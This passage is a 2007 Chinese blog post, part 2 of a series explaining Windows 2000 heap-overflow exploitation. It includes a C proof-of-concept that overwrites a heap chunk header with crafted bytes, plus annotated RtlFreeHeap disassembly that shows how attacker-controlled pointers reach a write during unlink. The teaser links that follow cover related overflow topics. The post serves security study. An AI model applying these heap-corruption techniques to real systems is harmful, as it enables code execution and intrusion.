总结windows下堆溢出的三种利用方式(2)

原创 2007年10月12日 09:26:00
的数据所指向的地址。我们可以控制这两个数据。
可见第二种方式的前提有三个:
1)构造堆(buf2)的flag必须含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC,可以设成0xff
2)构造堆的flag前面那个字节要比0x40小
3)构造堆的上一个堆(即buf1)的长度必须大于或等于0x18+0x08即32个字节,否则在关键点三处,ESI会指向我们不能控制的区域,造成利用失败
还有ilsy提到字节构造的8字节管理结构的第一个字节必须大于0x80,在我的机器上并没有必要(windows2000pro cn+sp4),他用0x99,我用0x03,也能成功利用

3.利用RtlFreeHeap的方式二

这是我研究堆溢出发现的第一种异常情况,之前不明就里,花了2个小时看了几篇帖子之后,认为这是unlink本堆块时发生的异常。
看例子

main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x00/
x08/x00/x11/x11/x11/x11/x22/x22/x22/x22";

buf1 = (char*)malloc (32); /* 分配两块内存 */
buf2 = (char*)malloc (16);

memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

free (buf1);
free (buf2);

return 0;
}

看起来和方式二很象,不过运行之后会发现,不同于上面提到的,这里在free(buf1)时就出现异常。同样再看看RtlFreeHeap的几个关键点

关键点一
同方式二的关键点一,设法跳到关键点二

关键点二
001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301 TEST BL,01
001B:77FCC8A3 750F JNZ 77FCC8B4
001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有则跳,这里不能跳
001B:77FCC8BE 0FB706 MOVZX EAX,WORD PTR [ESI]
001B:77FCC8C1 8945D0 MOV [EBP-30],EAX
001B:77FCC8C4 F6470C80 TEST BYTE PTR [EDI+0C],80
001B:77FCC8C8 7515 JNZ 77FCC8DF
001B:77FCC8CA 6A00 PUSH 00
001B:77FCC8CC 8D45D0 LEA EAX,[EBP-30]
001B:77FCC8CF 50 PUSH EAX
001B:77FCC8D0 56 PUSH ESI
001B:77FCC8D1 57 PUSH EDI
001B:77FCC8D2 E8EA000000 CALL 77FCC9C1 //进入这个CALL

关键点三
001B:77FCC9C1 55 PUSH EBP
001B:77FCC9C2 8BEC MOV EBP,ESP
001B:77FCC9C4 53 PUSH EBX
001B:77FCC9C5 56 PUSH ESI
001B:77FCC9C6 8B750C MOV ESI,[EBP+0C]
001B:77FCC9C9 8B5D08 MOV EBX,[EBP+08]
001B:77FCC9CC 57 PUSH EDI
001B:77FCC9CD 8BFE MOV EDI,ESI //ESI指向buf1的起始地址
001B:77FCC9CF 0FB74602 MOVZX EAX,WORD PTR [ESI+02] //将buf1之前的堆的长度放入EAX
001B:77FCC9D3 C1E003 SHL EAX,03 //乘以8得到实际大小
001B:77FCC9D6 2BF8 SUB EDI,EAX //EDI指向buf1之前的堆的起始地址
001B:77FCC9D8 3BFE CMP EDI,ESI
001B:77FCC9DA 740A JZ 77FCC9E6
001B:77FCC9DC F6470501 TEST BYTE PTR [EDI+05],01 //上一个堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9E0 0F8498E9FFFF JZ 77FCB37E //不能跳
001B:77FCC9E6 F6460510 TEST BYTE PTR [ESI+05],10 //上一个堆的flag是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCC9EA 750F JNZ 77FCC9FB //不能跳
001B:77FCC9EC 8B4510 MOV EAX,[EBP+10]
001B:77FCC9EF 8B00 MOV EAX,[EAX] //buf1的堆的长度
001B:77FCC9F1 F644C60501 TEST BYTE PTR [EAX*8+ESI+05],
01 //buf2的堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9F6 8D3CC6 LEA EDI,[EAX*8+ESI] //EDI指向buf2的起始地址
001B:77FCC9F9 7409 JZ 77FCCA04 //不含则跳(合并空闲堆?),这里要跳
001B:77FCC9FB 8BC6 MOV EAX,ESI
001B:77FCC9FD 5F POP EDI
001B:77FCC9FE 5E POP ESI
001B:77FCC9FF 5B POP EBX
001B:77FCCA00 5D POP EBP
001B:77FCCA01 C21000 RET 0010
001B:77FCCA04 0FB70F MOVZX ECX,WORD PTR [EDI] //ECX即buf2的堆的长度
001B:77FCCA07 03C8 ADD ECX,EAX //加上buf1的堆的长度
001B:77FCCA09 81F900FE0000 CMP ECX,0000FE00 //是否大于0xfe00
001B:77FCCA0F 77EA JA 77FCC9FB //大于则跳,这里不能跳
001B:77FCCA11 807D1400 CMP BYTE PTR [EBP+14],00
001B:77FCCA15 0F85FB210000 JNZ 77FCEC16
001B:77FCCA1B 8A4705 MOV AL,[EDI+05] //AL即buf2的flag
001B:77FCCA1E 2410 AND AL,10 //是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCCA20 A810 TEST AL,10
001B:77FCCA22 884605 MOV [ESI+05],AL //将buf1的flag置为HEAP_ENTRY_LAST_ENTRY
001B:77FCCA25 754B JNZ 77FCCA72 //含则跳,这里不能跳
001B:77FCCA27 57 PUSH EDI
001B:77FCCA28 53 PUSH EBX
001B:77FCCA29 E80CCBFBFF CALL 77F8953A
001B:77FCCA2E 8B4F0C MOV ECX,[EDI+0C] //将buf2的0x0c偏移给ECX
001B:77FCCA31 8B4708 MOV EAX,[EDI+08] //将buf2的0x08偏移给EAX
001B:77FCCA34 3BC1 CMP EAX,ECX
001B:77FCCA36 8901 MOV [ECX],EAX //这里发生异常
001B:77FCCA38 894804 MOV [EAX+04],ECX

方式三和方式二都是利用RtlFreeHeap函数,它们的分岔口在于关键点二的

001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49

方式二在这里要跳,方式三不能跳,从而进入下面的CALL(关键点三)
发生异常时ECX=0x22222222,EAX=0x11111111,这是我们能控制的。
可见方式三的前提有三个
1)构造堆(buf2)的长度不能为0
2)构造堆的上一个堆(buf1)和构造堆的长度相加不能大于0xfe00(div8之后)
3)构造堆的flag不能包含HEAP_ENTRY_BUSY

除了以上三种利用方式还有一种,和方式三差不多,不过是在free(buf2)时发生异常,应该是由于在合并下一个堆时长度计算错误造成的,具体就不分析了,类似于linux下的堆溢出,不过windows下不能将堆长度设为负数,造成一定的麻烦,sign

溢出之后的事情就不再说了。写这些主要为了分析总结一些东西,希望对初学者有帮助,不当之处请指正。 

 

《0Day安全》之堆溢出

最近重读《0Day安全》,由于栈溢出比较简单,所以直接从堆溢出开始读起。 在学习堆溢出之前,需要读者对堆的结构有一定的了解。先写一个小程序,分配一个新的堆来供我们研究它的结构,代码如下 #in...
  • binghupo
  • binghupo
  • 2016年12月05日 00:57
  • 2034

堆溢出和栈溢出

所谓溢出广义上就是超出范围,整数就有溢出,比如8字节无符号整数是0到255 0 - 1就是下溢 255 + 1就是上溢 说正题 int f(int x) { int ...
  • h549570564
  • h549570564
  • 2013年07月31日 21:05
  • 1593

xp下调试堆溢出(上)--HeapAlloc分配堆块

题记:win10都开始推广了,我还在折腾xp,真low,不过总得有这个过程吧。     DWORD SHOOT的原理是利用Release版发布的程序在正常启动(非调试启动)情况下,使用Lookasid...
  • lixiangminghate
  • lixiangminghate
  • 2016年07月06日 22:04
  • 1146

堆溢出(三)快表DWORD SHOOT

Windows 堆溢之快表DWORD SHOOT By Rweb@Reshahar 0x000 环境 1. 虚拟机 VirtualBox 5.0.20 2....
  • qq_21210995
  • qq_21210995
  • 2017年03月20日 15:07
  • 333

Linux (x86) Exploit 开发系列教程之十 使用 Malloc Maleficarum 的堆溢出

使用 Malloc Maleficarum 的堆溢出 译者:飞龙 原文:Heap overflow using Malloc Maleficarum 预备条件: 理解 glibc mal...
  • wizardforcel
  • wizardforcel
  • 2017年05月02日 16:30
  • 772

栈溢出漏洞利用小结

总结一些栈溢出漏洞利用的技巧。在分析一个可执行文件前,需要先利用file命令判断是32bit还是64bit,注意函数传参时栈平衡。然后看看开启了什么防护,比如:NX、PIE、RELRO、FORTIRY...
  • guiguzi5512407
  • guiguzi5512407
  • 2016年10月07日 17:24
  • 1243

CTF之堆溢出-unlink原理探究

来干!来干! 转战堆溢出,这东东确实接触的很少,听说很神奇很细腻。我也是初次接触就和大家一起共同学习下,也填补下这方面的空白。 https://sploitfun.wordpress.com/2...
  • qq_33438733
  • qq_33438733
  • 2017年06月12日 23:45
  • 1300

堆溢出与栈溢出原因分析

堆溢出:不断的new 一个对象,一直创建新的对象,栈溢出:死循环或者是递归太深,递归的原因,可能太大,也可能没有终止。 在一次函数调用中,栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量...
  • emmaczw
  • emmaczw
  • 2017年06月02日 16:06
  • 2131

Linux 堆溢出 分析

1. Linux堆管理算法         Linux系统通过glibc程序库提供堆内存管理功 能,存在两种堆管理算法.         glibc2.2.4及以下版本是使用Doug Lea的实现...
  • guilanl
  • guilanl
  • 2017年03月21日 16:52
  • 485

xp下堆溢出DWORD SHOOT---狙击空闲表

前面写过通过堆溢出利用快表,这次我的目标是利用空闲表。千万不要觉得这是炒作话题,利用空闲表比利用快表要复杂很多,因此希望读者不要弃篇。     行文开始前,我想对0day安全:软件漏洞的作者提到的DW...
  • lixiangminghate
  • lixiangminghate
  • 2016年08月23日 09:18
  • 843
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:总结windows下堆溢出的三种利用方式(2)
举报原因:
原因补充:

(最多只允许输入30个字)